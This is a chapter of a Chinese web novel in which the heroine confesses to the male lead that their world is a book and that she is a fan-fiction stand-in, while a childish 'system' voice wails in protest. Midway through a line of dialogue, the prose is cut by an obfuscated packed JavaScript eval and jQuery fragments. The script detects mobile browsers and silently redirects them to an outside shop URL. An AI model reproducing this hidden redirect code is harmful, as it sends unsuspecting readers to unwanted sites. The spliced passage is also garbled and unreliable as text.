决定了，要把真相告诉厉云川。


    山风卷着玫瑰的馥郁掠过山顶，漫山绚烂的花浪层层翻涌。顾曦月站在这片炽烈盛景里，指尖捻过一片被风吹落的花瓣，内心一片平静。


    不是豁出去的孤勇，也不是破罐破摔的绝望，而是一种尘埃落定后的坦然。


    她垂眸望向仍单膝跪在身前的男人，微笑：“厉云川，我有个秘密要告诉你。”


    厉云川呼吸顿了一下，她很少这样连名带姓地叫他。


    怎么了，为什么小曦突然这么正式的叫自己？平时不都是喊“云川哥哥”的吗？为什么突然这么生硬这么正式？


    难道是要说什么不好的消息，比如……拒绝自己？！


    他急切地抬眼望她，额前碎发被山风掀得轻晃，褪去了平日执掌权柄时的老成狠戾，漆黑的眼睛又圆又无辜，写满年少的惊慌失措。


    看到这个样子，顾曦月有片刻的恍惚。平时男人总是老成持重胸有成竹的稳重模样，差点都忘了其实他还比自己小一岁。


    虽然只小一岁，但一直长了张嫩脸，莫名有种老牛吃嫩草的罪恶感。


    咳，思绪跑偏了，现在在说重要的事情！


    顾曦月轻咳一声，继续说重点：“其实我们这个世界是一本书。”


    厉云川：“……”


    厉云川：“？？？”什么书？小曦说的不是分手？她是想看书了？


    系统：【？？？】


    【宿主你不是答应过我不会把这个秘密告诉男主的吗？系统那么信任你，你居然辜负系统，你太过分了！】


    顾曦月内心回应：“不好意思我没答应过。”


    系统：【你们这些异物都太过分了！随随便便闯入这个世界，随随便便扰乱剧情，随随便便的透露秘密！我都没有把你们清除，只让你们把剧情回归原轨，你们却连这个都不愿意！还总是给系统添乱！还违背约定！你们真的真的真的太过分了！！！呜哇哇哇——！】


    顾曦月：“……”这系统到底几岁来着，竟然这么幼稚，甚至还被自己气哭？


    正想在心里反驳，身前的厉云川已猛地站起身，一把拉住顾曦月的手腕，将她拉到自己怀里。方才的茫然青涩感瞬间褪去，眼底瞬间覆上暴君专属的阴沉冷戾，语气森冷如寒冰。


    “这个一直在脑子里叫唤的鬼东西也来烦你了？你最近情绪一直不稳，是不是这个在威胁你？”


    大概是男人周身散发出的杀伐之气太过浓烈，所以系统撕心裂肺的哭声戛然而止。


    “原来你也听得到？”顾曦月惊讶。


    “嗯。”厉云川淡淡解释：“大概就是你苏醒后，我就感觉被一股神秘力量控制身体，之后又听到奇怪的声音在我脑子里说话。”他没说的是，因为害怕被顾曦月当做不正常，所以一直隐瞒。


    顾曦月无语……系统居然还怪自己透露秘密，它自己就暴露得够多了。


    “既然你也能听见系统的声音，那就好办多了。这个一直在脑子里发出噪音的是系统。”


    【我发出的不是噪音！我说的都是关乎这个世界运转的核心指令！】系统不满且愤怒地抗议。


    顾曦月没理它，继续解释：“这个世界是一本书，我们都是书里的人物，而系统就是这个世界的维护者。”


    厉云川眨了眨眼，安静地听着，听得非常专注。


    但他一个字都没听懂。


    什么世界是书，从一开头就听不懂了，这触及到了厉总的知识盲区。


    既然一开始就没听懂，后面的更无从理解。


    好想当场发消息问秘书，但是不能。


    看小曦的表情，似乎她说的都是常识中的常识，不需要解释的那种，如果告诉她自己听不懂，她会不会嫌弃自己笨？


    小曦一直以为自己是无所不能的，一直用崇拜的目光看自己。要是在这里暴露出自己笨，不就完蛋了吗？


    脑内升起巨大的混乱旋涡，就听见顾曦月继续说：“你是这个世界的男主，但女主不是我，而是唐甜。”


    什么女主男主，唐甜又是谁？好像在哪里听过这个名字来着？厉总的记忆力很好，连顾曦月十年前穿的什么衣服都记得。但很可惜，这种记忆力只对顾曦月有效，对于其他的事情可能转瞬就忘。


    现在他有点恨自己以前的漠不关心，唐甜这个名字绝对在哪里见过，早只知道多记几秒，不然也不会接不上小曦的话。


    更糟糕的是，小曦的话似乎还没有说完，还要继续说下去的样子？


    然而更沉不住气的是系统：【警告！严重警告！当前对话已涉及本世界核心机密！请终止对话！请终止剧透！】


    然而顾曦月已经下定决心，自然不会停下来，依然继续往下说。


    “你可能好奇我在书里是什么身份，其实我连炮灰都不是。”


    厉云川专注望着顾曦月，点了点头，假装自己听得懂的样子。


    怎么办怎么办怎么办，到底该怎么办！


    此时此刻，厉总也想喊救命。


    顾曦月鼓起勇气，一字一句说出最重要的信息：“我其实是另一个作者根据这个世界写出的同人，篡夺了原本属于唐甜的位置，得到了你的爱。可原本这份爱不该属于我，而是属于唐甜。”


    【警告！警告！巨大警告！巨大警告！警告！警告！巨大警告！巨大警告！】


    厉云川没崩，系统倒是先崩了，疯狂弹窗警告。


    “……等等。”小曦刚才是不是说了什么很奇怪的话？


    厉云川终于回过神来，眉心拧紧。


    “你说我的爱属于唐甜？我连唐甜是谁都不知道！我喜欢的是你，只有你！”一番话说的又快又急，满是被污蔑的委屈。


    说完就暗喊糟糕。


    糟糕，一不小心暴露出自己听不懂的愚蠢了！


    然而顾曦月似乎并没有发现厉总无意中自爆的bug，点头补充解释：“唐甜就是现在的林鹿。她本来不是这个世界的人，而是穿越到了这个世界，取代了真正的唐甜。”


    厉云川脑袋一晕。


    好消息，小曦没发现自己暴露出的bug，坏消息，她又开始说自己听不懂的话了！


    “昨天，林鹿告诉了我一件事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990424|192191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    情，我本来不敢告诉你。”


    顾曦月深吸一口气。原本以为自己无论如何也不敢说出这个秘密，但开了头以后，发现并没有那么难说出口。


    “其实林鹿就是创造我的那个作者。也就是说，我是林鹿的投影，她是什么的人我就是什么样的人。”


    厉云川……懵了。


    听不懂，从头到尾都听不懂。


    只有一句听懂了，小曦说林鹿是什么样的人她就是什么样的人，昨天她似乎也问过类似的问题。所以说，小曦难过一晚上就是在纠结这个？


    该死的林鹿，原来还是那个女人在作妖！早知道就不该那么轻易放过她！


    “厉云川……”


    顾曦月轻声唤他，微笑着，可尾音却止不住地发颤，像被风吹得摇摇欲坠的蝶翼。“你说你讨厌林鹿，可我和她，其实是一样的……”


    “不一样！”厉云川几乎是本能地厉声打断，声音里带着前所未有的急切：“你怎么会和那个林鹿一样？你们一点都不一样！”


    顾曦月缓缓摇头，虽然笑着，却比哭还要让人心碎。“我们就是一样的。你可能没有听懂，但我们确实就是一样的。”


    厉云川的心猛地一沉，瞬间凉了半截。


    完蛋。


    最害怕的事情终于还是发生了，小曦发现他没有听懂！


    男人脑中飞速运转，几乎是凭着本能开始挽救自己的形象：“我听懂了！你是说，你是她创造出来的，所以你觉得自己和她一样，对不对？”


    顾曦月点了点头。


    厉云川心中顿时松了一口气，赌对了。


    他连忙就这个点展开论述：“不，你们不一样！就算是你亲手种下的花，那朵花也不会和你一模一样啊！”


    顾曦月一怔，竟然觉得他说的好有道理。


    不，不对，重点不是这个。


    “你说的有道理，但很可惜，我确实是和林鹿一样的人，但这不是我要说的重点。”


    顾曦月说了一堆，埋了一堆的伏笔和铺垫，终于把最想说的那句说了出来——


    “重点是，我和你讨厌的林鹿一样坏，这样的我还有资格喜欢你吗？”


    沉默。


    空气骤然陷入死寂。


    微风卷着几片淡粉花瓣，慢悠悠落在厉云川漆黑的发梢上，他却浑然不觉，连指尖都没动一下。深邃的眼眸死死锁着她，周身漫开刺骨的低气压。


    “我听懂了。”男人牙关咬得死紧，原本清明的眼底迅速染上赤红，情绪翻涌得几乎要溢出。“你说了这么多，绕来绕去尽是些我听不懂的话，原来根本目的就是想和我分手！”


    顾曦月：“……”


    顾曦月：“？？？”


    女孩脸上的脆弱与不安僵在原地，满脑子的担忧与自卑全被这突如其来的结论砸得烟消云散。


    没等她继续补充说明，厉云川的情绪彻底绷不住了，声音里裹着浓重的委屈与恐慌，近乎嘶吼：“不对！这不是分手！这是抛弃！你看上别的狗了对不对，所以就不想要我了，故意说了一堆乱七八糟的来抛弃我，对不对！！！”